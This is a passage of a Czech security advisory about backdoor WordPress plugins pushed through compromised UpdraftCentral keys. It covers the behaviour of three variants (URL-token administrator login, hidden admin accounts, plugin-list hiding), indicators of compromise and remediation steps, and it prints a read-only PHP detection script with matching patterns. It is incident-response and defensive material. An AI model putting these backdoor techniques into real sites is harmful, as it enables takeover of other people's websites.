Požadavek s instalací přitom doběhl úspěšně. UpdraftCentral zpracovává příkazy až v akci wp_loaded, která přichází po init, takže v tom požadavku se chybný kód nespustil. Útočník dostal potvrzení o úspěchu a o chybě se z odpovědi nedozvěděl. Spadly až následující požadavky.

Útočníkovi však stačí opravit pár znaků a další vlna může fungovat. Pokud u sebe najdete podobný „rozbitý“ plugin, neopravujte ho. Oprava by backdoor zapnula. Odstraňte ho.

Další detaily

  • Plugin se tváří jako běžný doplněk: má úplnou hlavičku, licenci GPL, Text Domain, popis „Small maintenance toolkit: keeps option storage tidy.“ a vymyšlené vydavatelství („PixelBinder“, „Harbor Stack Labs“).
  • Soubory assets/public.css, assets/public.js a languages/readme.txt obsahují jen komentář. Plugin je nikde nepoužívá, jsou tam, aby adresář vypadal jako skutečný plugin.
  • uninstall.php při odinstalaci z administrace smaže volby <slug>_sync_token a <slug>_setup_stamp, tedy stopy po sobě. Druhou volbu kód nikde nevytváří, je to pozůstatek šablony.
  • Při aktivaci uloží token do volby <slug>_sync_token bez automatického načítání. Kód ji nikde nečte.
  • Oba vzorky vyrobil stejný generátor. Když v nich nahradíme názvy, tokeny, jména a verze zástupnými řetězci, jsou všechny soubory bajt po bajtu shodné. Název má tvar slovo-slovo-3 hex znaky, parametr _ a 6 hex znaků, uživatel slovo-slovo a dvě číslice. Token má 32 znaků a heslo 22 znaků (písmena, číslice, podtržítko).

Indikátory kompromitace

Web AWeb B
Adresář pluginuload-stack-35ctext-gantry-eb0
Název / autor / verzeLoad Stack 35C / PixelBinder / 1.2.6Text Gantry Eb0 / Harbor Stack Labs / 3.9.5
Parametr v URL_9f5696_3e9caa
Uživateldata-ops43media-staff96
Volba v databáziload_stack_35c_sync_tokentext_gantry_eb0_sync_token
SHA-256 hlavního souboru3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209fbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801
SHA-256 uninstall.php4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f04943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9

Další vzorky první varianty nám poslaly jiné oběti a další názvy uvádí Patchstack:

  • hero-frame-2c5, autor „CopperForge WP“, uživatel s e-mailem render-build21@example.org, SHA-256 hlavního souboru a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9, uninstall.php 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111
  • card-binder-104, verze 2.6.7, uživatel render.desk87
  • style-bridge-8f5, „Style Bridge 8F5“ 2.6.6, autor „StoneDock Tools“, parametr _0f907e, uživatel data.build20, SHA-256 hlavního souboru 0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde, uninstall.php 99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5
  • media-kit-183, „Media Kit 183“ 3.7.8, autor „AshBridge Digital“, parametr _98a0a7, uživatel web_maint88, SHA-256 hlavního souboru 03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63, uninstall.php 8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190
  • query-shelf, „Query Shelf“ 2.6.1, stejná chyba QueryShelf::FIELD, název bez tří hex znaků na konci
  • post-dock-776, „Post Dock 776“ 1.7.8, autor „CommonGantry“, parametr _5fa3f1, uživatel site_build55, SHA-256 hlavního souboru 8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321, uninstall.php 6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30
  • nav-hub, „Nav Hub“ 1.0.5, autor „PixelBinder“ (stejný jako u load-stack-35c), chyba NavHub::FIELD, název bez hex znaků na konci
  • speed-desk, „Speed Desk“ 3.7.1, autor „Harbor Stack Labs“, parametr _685679, uživatel render.maint85, 80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483
  • speed-kit-300, „Speed Kit 300“ 3.8.4, autor „Nordic Toolworks“, parametr _c4bda9, uživatel data-team4, 0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3
  • link-latch, „Link Latch“ 3.0.2, autor „CommonGantry“, parametr _b10fa0, uživatel media.crew54, d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8
  • script-shelf, „Script Shelf“ 1.9.2, autor „CopperForge WP“, parametr _697e00, uživatel content-crew90, 7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2
  • feed-case, „Feed Case“ 1.5.1, autor „LoftStack“, parametr _78d327, uživatel web_ops15, 02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429
  • cache-jack-c7a, „Cache Jack C7A“ 2.7.3, autor „PixelBinder“, parametr _48c603, uživatel render.desk2, SHA-256 hlavního souboru 425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72, uninstall.php 335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017
  • Jména falešných autorů se opakují napříč variantami i weby, například „PixelBinder“, „Harbor Stack Labs“, „CommonGantry“, „CopperForge WP“, „MetaLayer“ či „WPBridge“. Plugin od takového autora, který jste neinstalovali, je téměř jistě backdoor.
  • Další názvy, které zveřejnil Wordfence: speed-press-23b, hero-bridge-6c9, site-health-6a20, db-works-7dba, cache-frame, site-engine; uživatelé site_editor784, site.crew51, web_desk9.
  • podle Patchstacku například „Site Health Cache“, „Asset Forge 2“, „Content Helper“ a „Wp Forge“, celkem 99 názvů

Společné znaky:

  • IP adresy 43.250.53.42 a 2a09:bac5:4e21:2e3c::49b:9, User-Agent přesně WordPress/6.4; class-udrpc.php, požadavek POST /
  • Pokusy použít backdoor 20. 10.: IP adresy 178.83.37.220, 178.83.37.243, 178.94.218.31 a rozsahy 69.33.133.x, 69.33.134.x a 69.33.144.x, User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (bez části s verzí prohlížeče), požadavek GET /?<spouštěč>=<token>
  • Možná související: od 20. 10. vidíme na našich webech i zjišťování verze UpdraftPlus přes /wp-content/plugins/updraftplus/readme.txt, často s následným POST /wp-admin/admin-ajax.php, z adres 107.189.14.87, 45.61.188.240 a 45.61.184.170 s podvrženými User-Agenty prohlížečů. Stejné rozsahy hlásí i další správce. Zda jde o stejného útočníka, nevíme.
  • v logu UpdraftCentral sonda probe.central.updraftplus.com a o několik hodin později Command received: plugin.upload_plugin
  • popis pluginu „Small maintenance toolkit: keeps option storage tidy.“
  • uživatel s e-mailem na @example.org a zobrazovaným jménem „Site Tools“, s rolí Editor a oprávněními manage_options a install_plugins
  • fatální chyba Undefined constant <Třída>::FIELD a e-mail WordPressu o chybě v pluginu, který neznáte

Druhá varianta: funkční backdoor s administrátorským účtem

Tuto variantu nám popsali dva další postižení správci. První spravuje přibližně 145 webů a našel ji na dvou ze tří napadených. Útočník ji tam nepoužil: nevznikla volba _uid, žádný účet ani cizí relace. Druhý ji našel na třech ze čtyř webů, kam se backdoor nainstaloval, a potvrdil, že funguje: na rozdíl od první varianty nemá chybu, která by web shodila. Další správce nám poslal vzorek boost-kit, takže jsme ji rozebrali i sami. Popis obou správců se potvrdil kromě skrývání účtu, které nefunguje.

  • Je to jeden soubor PHP s náhodným názvem, který nemusí odpovídat vzoru první varianty (například opt4fix, cache-smith). Popis se liší v každém vzorku, jednou to bylo „Improves cron tasks efficiency for content sites with minimal overhead.“.
  • Pro zakrytí při aktivaci nastaví volbu <slug>_installed, naplánuje denní cron <slug>_maintenance, který opravdu maže expirované transienty, a přidá filtr pro jQuery na stránkách AMP.
  • Spouštěč: parametr s názvem z 12 hex znaků a 32znakový token, například ?f2b9faa21ebd=… nebo ?303541c9dfd0=…&m=setup. Další zjištěné názvy parametrů: f883d260d98a, a613ff6d53aa, 6eb3d55b634e, f343ef05a88e, a67730d1b537, 2c71bff4b006, 666b564665a9.
  • Bez parametru m přihlásí útočníka jako prvního existujícího administrátora a přesměruje ho do administrace. Nevytvoří žádný účet, takže zůstane jen soubor pluginu a řádek v access logu.
  • Režim m=setup vytvoří plnohodnotného administrátora a jeho ID uloží do volby <slug>_uid (například src_lab_uid). Režim m=svc přihlásí útočníka do tohoto účtu. Účty mají tvar system_team850, web.tech988, cmseditor170, cms.tech644 nebo web_mgr684 s e-mailem na @example.com a zobrazované jméno například „System Team“, „Web Tech“, „System Staff“, „System Ops“ či „Cms Tech“.
  • Účet se snaží skrýt háčkem pre_user_query a filtrem pre_count_users, oba jsou ale napsané špatně. pre_user_query přidá účet mezi vyloučené až poté, co WordPress sestavil SQL dotaz, takže na výsledek nemá vliv. pre_count_users dostane místo počtů hodnotu null a nic nezmění. Na WordPressu 7.1.3 jsme ověřili, že se účet v seznamu uživatelů i v počtu administrátorů zobrazí normálně.
  • Nemá uninstall.php. Při deaktivaci smaže jen volbu <slug>_installed.
  • Doručení je stejné jako u první varianty: sonda a pak plugin.upload_plugin, z IP 43.250.53.42 i 2a09:bac5:4e21:2e3c::49b:9, v noci z 18. na 19. října (například src-lab 18. 10. ve 23:39 UTC, render-helper-232b 19. 10. v 0:03 UTC).

Vzorky (SHA-256 hlavního souboru):

  • src-lab, „Src Lab“ 3.0.0, autor „WPBridge“, src-lab.php 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928
  • render-helper-232b, „Render Helper 232b“ 3.7.9
  • opt4fix, „Opt4fix“ 2.9.2, autor „DigitalFork“, 54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c
  • js-fix-757a, „Js Fix 757a“ 2.8.3, autor „WPBridge“, 2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a
  • lazy-tool-3055, „Lazy Tool 3055“ 1.3.8, autor „MetaLayer“, 1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec
  • cache-smith, „Cache Smith“ 1.3.1, autor „ToolBelt WP“, 43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49
  • boost-kit, „Boost Kit“ 2.9.3, autor „PixelForge“, popis „Simple database queries management with automatic cleanup routines.“, fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1
  • fast2engine, „Fast2engine“ 1.6.9, autor „CodeBarn“, popis „Reliable transient storage maintenance companion for site owners.“, účet wp.tech506@example.com, 0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd
  • defer-engine, „Defer Engine“ 3.3.1, autor „SiteCraft Labs“, popis „Fine-tunes script loading delivery to reduce load times on busy sites.“, účet media-mgr138, 87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91
  • minify-tool-bf90, „Minify Tool Bf90“ 2.9.8, autor „MetaLayer“, popis „Improves asset loading efficiency for content sites with minimal overhead.“, účet pageeditor85, ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8

Jak ji najít: kontrolní skript ve verzi 3 hledá soubory pluginů podle známých řetězců, například „keep service accounts out of the main user list“, i podle kódu (přihlášení přes wp_set_auth_cookie po hash_equals nad hodnotou z URL, skrývání přes pre_user_query a pre_count_users), prověří volby <slug>_uid a <slug>_installed a uživatele čte přímo z databáze. Prohledá i wp-content/upgrade/, kde zůstane rozbalený plugin, i když se instalace nepodařila. Access log zkontrolujte podle postupu v části „Co udělat hned“.

Třetí varianta: minimální backdoor

Tentýž správce našel i plugin site-health-364f („Site Health 364F“, verze 1.0, popis „Maintenance helper.“, bez autora). Je to jediný soubor o 673 bajtech bez jakéhokoli maskování:

  • Při aktivaci uloží volbu site_health_364f_ver.
  • Spouštěč: parametr 83e590bb7e9b s 32znakovým tokenem zapsaným přímo v kódu.
  • Útočníka přihlásí jako prvního existujícího administrátora a přesměruje ho do administrace. Žádný účet nevytváří.
  • SHA-256 site-health-364f.php: 056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa

Kromě pluginu po něm zůstane jen řádek v access logu, který najde grep z části „Co udělat hned“. Kontrolní skript ho zachytí od verze 4.

Další správce našel jeho skrytou obměnu site-health-cache („Site Health Cache“ 1.0.0, bez popisu a autora, spouštěč 38af88274bf8, volba sh_cache_ver, SHA-256 fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd). Filtrem all_plugins se vyřadí ze seznamu pluginů a filtrem pre_update_option_recently_activated i ze seznamu nedávno aktivovaných, takže ho v administraci neuvidíte, přestože je aktivní. Kontrolní skript ho najde na disku. Stejnou obměnu s jiným spouštěčem (9c37ef099b7b, SHA-256 2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205) našel i další správce.

Co dělat, když ho najdete

  1. Pokud jste to ještě neudělali, zrušte spojení s UpdraftCentral podle postupu v části „Co udělat hned“. Jinak může útočník poslat opravenou verzi backdooru.
  2. Plugin deaktivujte a přesuňte mimo webový adresář. Pokud si ho chcete nechat jako důkaz, nemažte ho přes administraci, protože uninstall.php smaže jeho volby.
  3. Smažte volby backdooru (<slug>_sync_token, <slug>_uid, <slug>_installed, <slug>_ver) a účet, který vytvořil.
  4. Zkontrolujte uživatele kontrolním skriptem níže. Pokud backdoor fungoval, tedy jeho účet existuje nebo se v access logu objevil požadavek s jeho parametrem, považujte web za plně kompromitovaný. Útočník mohl nahrát další pluginy nebo webshell a změnit soubory či databázi. Web obnovte ze zálohy z doby před 17. říjnem, porovnejte soubory s čistou instalací a projděte všechny uživatele s oprávněními navíc.
  5. Změňte hesla administrátorů a k účtu UpdraftCentral Cloud, ukončete všechna přihlášená sezení a zapněte dvoufázové ověření. Prémiový UpdraftPlus může mít heslo k účtu teamupdraft.com uložené v databázi tak, jak jste ho zadali (volba updraftplus-addons_options). Pokud se útočník dostal do administrace nebo databáze, považujte toto heslo za uniklé.
  6. Zvažte, zda vzdálenou správu potřebujete. Pokud ano, klíč vytvořte pod účtem, který nemá práva instalovat pluginy, pokud je na dálku nepotřebujete. Na webu C útok zastavila právě tato náhoda.

Kontrolní skript

Skript zkontroluje pět věcí: zda je web připojený k UpdraftCentral, co web přes UpdraftCentral přijal, zda jsou v adresářích plugins, mu-plugins a upgrade soubory backdooru, zda jsou v databázi jeho volby a zda existuje jeho účet nebo jiný uživatel s nečekanými právy. Verze 3 rozpozná backdoor i podle kódu, takže zachytí i přejmenované vzorky funkční varianty s jiným popisem, prověří volby <slug>_uid a <slug>_installed, uživatele čte přímo z databáze a upozorní na administrátory vytvořené od 17. 10. Verze 4 navíc zachytí minimální třetí variantu podle tokenu zapsaného přímo v kódu. Verze 5 hlásí jako [WARN] i další pluginy, které přihlašují podle parametru v URL. Upozornil nás na to správce, který na jednom webu našel starší backdoor doctor-connectivity-query, aktivní od června a s touto kampaní nesouvisející. Ten se skrývá ze seznamu pluginů a bez přihlášení provede libovolný kód. Účty na @example.com bez administrátorských práv vytvořené před 17. 10., například zákazníky e-shopu registrované boty, hlásí verze 5 už jen jako [WARN]. Verze 6 najde i zbylé volby první varianty, když název pluginu nekončí třemi hex znaky, například query_shelf_sync_token. Verze 7 upozorní, když na webu log UpdraftCentral vůbec není, například po odstranění UpdraftPlus, a nehlásí ho jako čistý. Verze 8 upozorní i na pluginy, které se skrývají ze seznamu pluginů. Verze 9 upozorní i na klíče UpdraftPlus Migrator. Verze 10 upozorní i na heslo k účtu teamupdraft.com uložené v databázi.

Na webu A po odstranění backdooru vypíše:

[OK]    No active UpdraftCentral connection.
[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK]    No backdoor plugin files found.
[OK]    No backdoor options in the database.
[OK]    No backdoor accounts or hidden admin-level users.

Skript si můžete stáhnout i přímo:

curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txt

SHA-256 skriptu: cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935. Celý kód:

<?php
/**
 * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
 * Read-only. It changes nothing on the site.
 * v2: also detects the second variant, which creates a hidden administrator.
 * v3: catches its renamed samples by code and by <slug>_uid / <slug>_installed options, and checks wp-content/upgrade.
 * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.
 * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without
 *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.
 * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).
 * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.
 * v8: warns about plugins that hide themselves from the WordPress plugin list.
 * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.
 * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.
 *
 * Run in the WordPress root directory:
 *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
 *
 * --skip-plugins matters: an installed copy of the backdoor crashes every request,
 * including WP-CLI, unless plugins are skipped.
 */

$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
	if ( 'ALERT' === $level ) $alerts++;
	if ( 'WARN' === $level ) $warnings++;
	echo str_pad( "[$level]", 8 ), $message, "\n";
};

echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";

// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
	foreach ( $keys as $id => $key ) {
		$report( 'WARN', sprintf(
			'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
			$id,
			isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
			isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
		) );
	}
} else {
	$report( 'OK', 'No active UpdraftCentral connection.' );
}
// UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.
$addons = get_option( 'updraftplus-addons_options' );
if ( ! is_array( $addons ) && is_multisite() ) $addons = get_site_option( 'updraftplus-addons_options' );
if ( is_array( $addons ) && ! empty( $addons['password'] ) ) {
	$report( 'WARN', 'UpdraftPlus keeps the teamupdraft.com account password for ' . ( isset( $addons['email'] ) ? $addons['email'] : '?' ) . ' in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.' );
}
// Migrator keys use the same UDRPC channel to receive backup files from another site.
$migrator_keys = get_option( 'updraft_migrator_localkeys' );
foreach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash => $key ) {
	$report( 'WARN', sprintf(
		'UpdraftPlus Migrator key "%s" is active: another site can send backup files here with it. Delete it unless you are migrating right now.',
		isset( $key['name'] ) ? $key['name'] : $hash
	) );
}

// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
	$message = isset( $entry['message'] ) ? $entry['message'] : '';
	$agent   = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
	$when    = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
	$ip      = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
	if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
		$log_hits++;
	} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
		$report( 'WARN', "$when  $ip  probe for UpdraftCentral (UA: $agent)." );
		$log_hits++;
	} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
		$log_hits++;
	}
}
if ( ! is_array( $log ) || ! $log ) {
	$report( 'INFO', 'There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent "WordPress/6.4; class-udrpc.php".' );
} elseif ( ! $log_hits ) {
	$report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
}

// 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content/upgrade
// (a push that failed to install still leaves the unpacked plugin there).
$is_backdoor = function ( $code ) {
	return false !== strpos( $code, 'keeps option storage tidy' )
		|| false !== strpos( $code, 'Improves cron tasks efficiency' )
		|| false !== strpos( $code, 'keep service accounts out of the main user list' )
		|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
		|| ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) )
		|| ( preg_match( '/hash_equals\(\s*[\'"][A-Za-z0-9_-]{20,}[\'"]/', $code ) && false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
};
// Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).
$logs_in_from_url = function ( $code ) {
	return false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' );
};
// A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.
$hides_itself = function ( $code ) {
	return preg_match( '/add_filter\(\s*[\'"]all_plugins[\'"]/', $code )
		&& preg_match( '/plugin_basename\(\s*__FILE__\s*\)/', $code )
		&& preg_match( '/unset\(\s*\$\w+\[\s*\$\w+\s*\]\s*\)/', $code );
};
$plugin_hits = 0;
$files = array_merge(
	(array) glob( WP_PLUGIN_DIR . '/*/*.php' ),
	(array) glob( WPMU_PLUGIN_DIR . '/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*/*.php' )
);
foreach ( $files as $file ) {
	$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
	$where = 0 === strpos( $file, WP_CONTENT_DIR . '/upgrade/' ) ? ' (left in wp-content/upgrade by a pushed plugin; the install may have failed)' : '';
	if ( $is_backdoor( $code ) ) {
		$report( 'ALERT', "Backdoor plugin file: $file$where" . ( $hides_itself( $code ) ? ' It hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $logs_in_from_url( $code ) ) {
		$report( 'WARN', "Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it." . ( $hides_itself( $code ) ? ' It also hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $hides_itself( $code ) ) {
		$report( 'WARN', "Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it." );
		$plugin_hits++;
	}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );

// 4. Options the backdoor leaves behind.
global $wpdb;
$option_hits = 0;
// First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name
// without them counts only when its plugin is gone or is the backdoor itself.
foreach ( $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$'" ) as $name ) {
	$slug = str_replace( '_', '-', preg_replace( '/_(sync_token|setup_stamp)$/', '', $name ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	if ( is_file( $main ) && ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;
	$report( 'ALERT', "Backdoor option in the database: $name" );
	$option_hits++;
}
// The working variant stores <slug>_installed and the ID of its hidden administrator in <slug>_uid.
// Plugin names vary, so match the suffix and look at the plugin with the same slug.
foreach ( $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE '%\\_uid' OR option_name LIKE '%\\_installed'" ) as $o ) {
	$is_uid = '_uid' === substr( $o->option_name, -4 );
	$slug = str_replace( '_', '-', substr( $o->option_name, 0, $is_uid ? -4 : -10 ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : '';
	$u = ( $is_uid && ctype_digit( (string) $o->option_value ) ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
	$who = $u ? " (user {$u->user_login} <{$u->user_email}>)" : '';
	if ( ( $u && preg_match( '/@example\.(com|org)$/', $u->user_email ) ) || ( $code && ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {
		$report( 'ALERT', "Backdoor option in the database: {$o->option_name} = {$o->option_value}$who" );
		$option_hits++;
	} elseif ( $is_uid && $u && ! is_dir( WP_PLUGIN_DIR . "/$slug" ) ) {
		$report( 'WARN', "Option {$o->option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account." );
		$option_hits++;
	}
}
if ( ! $option_hits ) $report( 'OK', 'No backdoor options in the database.' );

// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name IN ('Site Tools', 'System Team', 'Web Tech', 'System Staff', 'System Ops', 'Cms Tech')" ) as $user ) {
	// Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
	$admin_level = ! empty( $caps['administrator'] ) || ! empty( $caps['manage_options'] ) || ! empty( $caps['install_plugins'] );
	if ( $admin_level || $user->user_registered >= '2026-10-17' ) {
		$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\", registered {$user->user_registered}" . ( $admin_level ? ', with admin-level rights' : '' ) );
	} else {
		$report( 'WARN', "Account {$user->user_login} <{$user->user_email}> \"{$user->display_name}\" matches the backdoor pattern but has no admin-level rights and was registered on {$user->user_registered}. Probably unrelated; make sure you know it." );
	}
	$flagged[ $user->ID ] = true;
	$user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
	$user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
	$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
	if ( $extra && empty( $caps['administrator'] ) ) {
		$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
		$user_hits++;
	}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );

echo "\n";
if ( $alerts ) {
	echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
	echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
	echo "RESULT: no traces found.\n";
}

Proč zveřejňujeme hned

Responsible disclosure znamená dát výrobci čas na opravu a zveřejnit podrobnosti až potom. Tady na to bohužel není důvod. Útočník backdoory do instalací WordPressu už aktivně šíří a oprava od výrobce majitelům webů nepomůže, dokud má útočník platné klíče. Jediná účinná ochrana je zrušit spojení s UpdraftCentral a web zkontrolovat, a to může udělat každý správce hned.

Zveřejnění útočníkovi nepomůže. K útoku potřebuje platné klíče, které už má, a nic v tomto článku mu nedává nový způsob útoku. Obráncům naopak dává postup, jak se chránit. Backdoor navíc vyrábí generátor, který pro každý web vytvoří jiná jména, tokeny a hesla, což naznačuje nástroj určený pro velký počet webů. Každá hodina čekání dává útočníkovi čas na další weby.

Komunikace s výrobcem a bezpečnostními firmami

      1. 2026: hlášení TeamUpdraft přes formulář prémiové podpory s logy a analýzou pro web A
      1. 2026: doplnění o útoky na weby B a C, druhý vzorek a porovnání User-Agent se skutečným dashboardem
      1. 2026: informovali jsme Wordfence a Patchstack, aby mohli přidat detekci a varovat další správce
      1. 2026: TeamUpdraft zveřejnil vyjádření k bezpečnostnímu incidentu a potvrdil únik zákaznické databáze včetně klíčů UpdraftCentral
      1. 2026: TeamUpdraft nám v odpovědi na hlášení potvrdil, že na jeho základě považuje klíče UpdraftCentral za kompromitované, a všechny zákazníky UpdraftCentral žádá odpojit a zkontrolovat každý web. Nouzová verze UpdraftPlus k uzávěrce ještě nevyšla (poslední je 1.26.11 ze 16. 10.).
      1. 2026: Patchstack zveřejnil vlastní analýzu a potvrdil obě IP adresy útočníka. Wordfence i Patchstack si vyžádaly vzorky.
